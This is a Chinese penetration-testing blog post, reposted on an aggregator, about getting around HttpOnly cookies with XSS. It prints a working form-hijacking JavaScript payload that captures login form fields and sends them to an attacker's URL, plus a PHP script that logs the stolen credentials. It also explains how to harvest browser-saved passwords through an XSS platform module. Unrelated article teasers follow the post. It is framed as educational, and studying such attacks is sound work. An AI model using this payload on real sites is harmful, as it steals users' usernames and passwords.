HTTP Only下的XSS攻击

news2024/10/6 22:34:09

今天继续给大家介绍渗透测试相关知识,本文主要内容是HTTP Only下的XSS攻击。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、设置HTTP Only后XSS攻击手段

在上文HTTP Only限制XSS盗取cookie中,我们介绍过,如果网站设置了HTTP Only的cookie,那么我们无法通过JavaScript脚本代码获得Cookie。但是XSS获得cookie的实质目的是能够获得用户的凭证登录系统,因此我们从这个思路出发,如果我们能够通过XSS漏洞拿到目标用户的用户名和密码,一样可以得到与获得cookie相同的结果。
我们有两种手段可以实现这一操作。一种是在用户输入用户名和密码时,通过XSS漏洞直接获得用户输入的用户名和密码。这种方式难点在于将XSS脚本代码插入到登录框中,而这种地方一般很少会存在XSS漏洞点。另一种是如果用户将用户名和密码存储在了浏览器中,控制XSS拿到用户在浏览器中的用户名和密码。
接下来,我们就对这两个思路进行验证。

二、表单劫持绕过HTTP Only获取用户名密码

如果我们想用表单劫持绕过HTTP Only,那么我们需要把JavaScript脚本插入到系统登录框中。这当然是一个比较麻烦的事情,因为在通常情况下,系统的登录框没有允许类似留言板这样的可以交互的点。
这一功能当然可以使用一些XSS平台来实现,但是很遗憾的是,我没有找到存在这个功能并且这个功能还使用正常的XSS平台。因此,我不得不手动简单的写了一个JavaScript脚本和PHP脚本,用于展示这个功能。
JavaScript脚本如下所示:

var f=document.forms['【form的name】'];
if(f==undefined)
{
        f=document.getElementById('');
}
var func=f.onsubmit;
f.οnsubmit=function(event)
{
	var str='';
	for(var i=0;i<f.elements.length;i++)
	{
		str+=f.elements[i].name+':'+f.elements[i].value+'||';
	}
	str=str.substr(0,str.length-2);
	var img=new Image();
	img.src='http://【你的PHP文件URL】?data='+escape(str)+'&url='+escape(location.href);
	func(event);
	return true;
}

在上述脚本中,var f=document.forms[‘【form的name】’];用于获取表单名称,后面的代码用于向指定的ULRL处发送信息。PHP脚本如下所示:

<?php
$ip = $_SERVER['REMOTE_ADDR'];
$cookie = $_GET['data'];
$url = $_GET['url'];
$time = gmdate("H:i:s",time()+8*3600);
$file = "output.txt" ;
$fp=fopen ("utput.txt","a")  ;
$txt= "$ip"."----"."$time"."----"."$cookie"."----"."$url"."\n";
fputs($fp,$txt);
?>

完成PHP网站搭建后,我们将JavaScript代码插入到登录框页面中,如下所示:
在这里插入图片描述
当我们登录后,就可以看到劫持的表单信息了,如下所示:
在这里插入图片描述

三、读取浏览器记住的明文密码

除了进行上述表单劫持的方法外,我们还可以读取浏览器记住的明文密码。当前的浏览器一般都有这个功能,当登录系统时,会询问是否记住用户名和密码。这也是为什么我们在登录网站时,浏览器会帮助我们自动的输入这些用户名和密码。然而问题在于,对于有些安全意识比较高的用户来说,如果不开启这项功能,即不让浏览器存储用户名和密码,那么我们就无法使用这种方式。
使用这种方式,我们还是借助XSS平台的相关模块,模块介绍如下所示:
在这里插入图片描述
使用这个模块我们要输入要读取的用户名和密码框中的type、name和id三个信息。wordpress网站这三个信息如下所示:
在这里插入图片描述
我们根据这三个信息来配置该模块的参数,如下所示:
在这里插入图片描述
配置完成后,我们就可以获取登录的用户名和密码了,结果如下所示:
在这里插入图片描述
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/30391.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

程序猿成长之路之密码学篇-密码学简介

在阅读本文前需要了解的术语&#xff1a; 授权人/非授权人&#xff1a;授权人指获取了查看数据权限的用户&#xff0c;非授权人则是指未获取到权限的用户。明文/密文&#xff1a;明文指没有加密的数据内容&#xff0c;密文是指加密后的数据内容CIA(密码学中不是美国中情局的意思…

npm 如何更新项目最新依赖包

NPM 是什么&#xff1f; Node 软件包管理器(NPM)提供了各种功能来帮助你安装和维护项目的依赖关系。 由于错误修复、新功能和其他更新&#xff0c;依赖关系可能会随着时间的推移而变得过时。你的项目依赖越多&#xff0c;就越难跟上这些更新。 老旧的软件包会对安全构成威胁&am…

USB-数据传输

一、USB编码-反向不归零编码(NRZI)位填充 规则&#xff1a;数据为0&#xff0c;电平反转&#xff0c;数据为1&#xff0c;电平不翻转;当连续出现6个相同的1穿插一个0&#xff0c;目的是为了防止连续出现多个1导致的同步漂移。 二、USB传输帧 帧是USB传输的时间单位&#xff0…

深入浅出PyTorc——进阶训练技巧

1. 自定义损失函数 1.1 以函数方式定义 手动写出损失的公式并用函数进行存储&#xff0c;方便调用。 def my_loss(output, target):loss torch.mean((output - target)**2)return loss 1.2 以类方式定义 1.2.1 损失函数的继承关系 &#xff08;1&#xff09;Loss函数部分继…

POI及EasyExcel

1.谈谈 POI 和 easyExcel 应用场景 1.将用户信息导出为excel表格&#xff08;导出数据....&#xff09;2.将Excel表中的信息录入到网站数据库&#xff08;习题上传....&#xff09; 开发中经常会设计到excel的处理&#xff0c;如导出Excel&#xff0c;导入Excel到数据库中&…

详解Spring面试IoC和AOP

Spring IOC 和 AOP 文章目录Spring IOC 和 AOP前言什么是 IoC&#xff1f;**为什么叫控制反转**不用IoC&#xff1a;所有对象开发者自己创建使用IoC&#xff1a;对象不用卡法这创建&#xff0c;而是交给Spring框架完成基于XML和基于注解基于XML&#xff1a;基于注解&#xff1a…

TeeChart Pro for .NET 2022.10.24 Crack

.NNET 的 TeeChart 图表控件提供了一个很好的通用组件套件&#xff0c;可以满足无数的图表需求&#xff0c;也针对重要的垂直领域&#xff0c;例如金融、科学和统计领域。 数据可视化 数十种完全可定制和交互式的图表类型、地图和仪表指示器&#xff0c;以及完整的功能集&#…

大一html5期末大作业 :基于html实现传统文化网页设计题材

Web前端开发技术 描述 网页设计题材&#xff0c;DIVCSS 布局制作,HTMLCSS网页设计期末课程大作业 | 国家级非遗 | 非遗文化 | 非遗网页设计 | 非遗保护 | 非遗之旅 | 非遗传承HTML期末大学生网页设计作业 HTML&#xff1a;结构 CSS&#xff1a;样式 在操作方面上运用了html5和…

第八章:堆的讲解与实现

第八章&#xff1a;堆的实现与堆相关的算法一、堆1、什么是堆&#xff1f;2、堆的实现&#xff08;1&#xff09;堆的定义&#xff08;2&#xff09;接口函数初始化销毁插入删除判断是否为空返回堆顶返回堆中的元素个数打印一、堆 1、什么是堆&#xff1f; 在前面的章节中&am…

机器学习算法交叉验证最频繁犯的6个错误

交叉验证是保证模型有效的方法&#xff0c;同时也是防止模型过拟合的方法。但在有限的数据集中&#xff0c;交叉验证容易出现一些错误使用。 本文将介绍在使用交叉验证中&#xff0c;常见的一些错误情况&#xff0c;希望读者在阅读后可以避免再次犯错。 文章目录技术提升什么是…

轻松玩转树莓派Pico之四、Ubuntu下在线debug环境搭建

目录 1、openocd编译安装 1&#xff09;安装依赖 2&#xff09;下载 3&#xff09;编译 4&#xff09;安装GDB 2、Picoprobe编译与连接 1&#xff09;下载、编译 2&#xff09;开发板连接 3&#xff09;Picoprobe连接至Linux 3、手工运行openocd和gdb 4、VSCode在线调…

Niantic CEO:AR有望取代二维码,理想的AR眼镜还需3-5年

早前&#xff0c;Niantic CEO John Hanke就曾谈到过对于元宇宙的愿景&#xff0c;相比于VR的沉浸式体验&#xff0c;他认为未来元宇宙应该是将虚拟和现实融合的AR体验。尽管如此&#xff0c;现在还没有一款足够普及的AR眼镜产品&#xff0c;仅依赖手机、平板电脑并不能展现沉浸…

《Linux-常见指令详解》

目录 Linux背景 开源 操作系统的理解 问题 1.空文件占磁盘空间吗&#xff1f; 2.创建的文件是在内存中还是磁盘中&#xff1f; 3.绝对路径和相对路径的区别 4.Linux下的文件后缀可以随便写&#xff0c;不同于Windows 常见指令和权限 查看 Linux 主机 ip 使用 XSh…

Alibaba 官方上线,SpringBoot+SpringCloud 全彩指南(第五版)

Alibaba 作为国内一线互联网大厂&#xff0c;其中 springcloudAlibaba 更是阿里微服务最具代表性的技术之一&#xff0c;很多人只知道 springcloudAlibaba 其实面向微服务技术基本上都有的下面就给大家推荐一份 Alibaba 官网最新版&#xff1a;SpringBootSpringCloud 微服务全栈…

面试系列分布式事务:谈谈2PC的理解

2PC其实就是两阶段提交的分布式事务中事务类型&#xff0c;两阶段提交就是分两个阶段提交&#xff1a; 第一阶段询问各个事务数据源是否准备好。 第二阶段才真正将数据提交给事务数据源。 为了保证该事务可以满足ACID&#xff0c;就引入一个协调者&#xff08;Cooradinator&…

【OpenCV-Python】教程:3-9 轮廓(2)轮廓特征

OpenCV Python 轮廓特征 【目标】 轮廓矩轮廓周长、轮廓面积轮廓拟合、轮廓凸包、轮廓凹凸性检查外接矩形、最小包围圈椭圆拟合、直线拟合 【代码】 周长、面积、矩 第一幅图像为原始轮廓图像&#xff0c;第二幅图像为轮廓点拟合图像&#xff08;精度为周长的1/10&#xff…

Docker——Windows版本Docker安装

目录 一、简介 1.1 Docker如何解决大型项目依赖关系复杂&#xff0c;不同组件依赖的兼容性问题&#xff1f; 1.2 Docker如何解决开发、测试、生产环境有差异的问题 1.3 Docker 和 虚拟机的区别 1.4 Docker架构 1.5 总结 二、Docker安装&#xff08;Windows版&#xff09; 2.1…

电容笔可以用什么代替?好用电容笔品牌推荐

在互联网办公、互联网教学等领域&#xff0c;电容笔再次成为全球流行的电子产品。用平替电容笔来代替苹果的电容笔吗&#xff1f;实际上&#xff0c;我们可以考虑买一支平替电容笔&#xff0c;而不用再买昂贵的苹果 Pencil。一支平替电容笔&#xff0c;一两百块钱&#xff0c;比…

spring web 简单项目数据库查询 纯注解版替代web.xml

关键词句&#xff1a;第一个spring 简单项目 纯注解 包括替代web.xml 文件 第一个spring mvc web 简单项目 纯注解 用纯注解写spring web 简单项目 纯注解写web 项目 spring 写数据库 查询 注解方式 spring 数据接链接池 用的阿里的 spring jdbc jdbcTemplate类使用…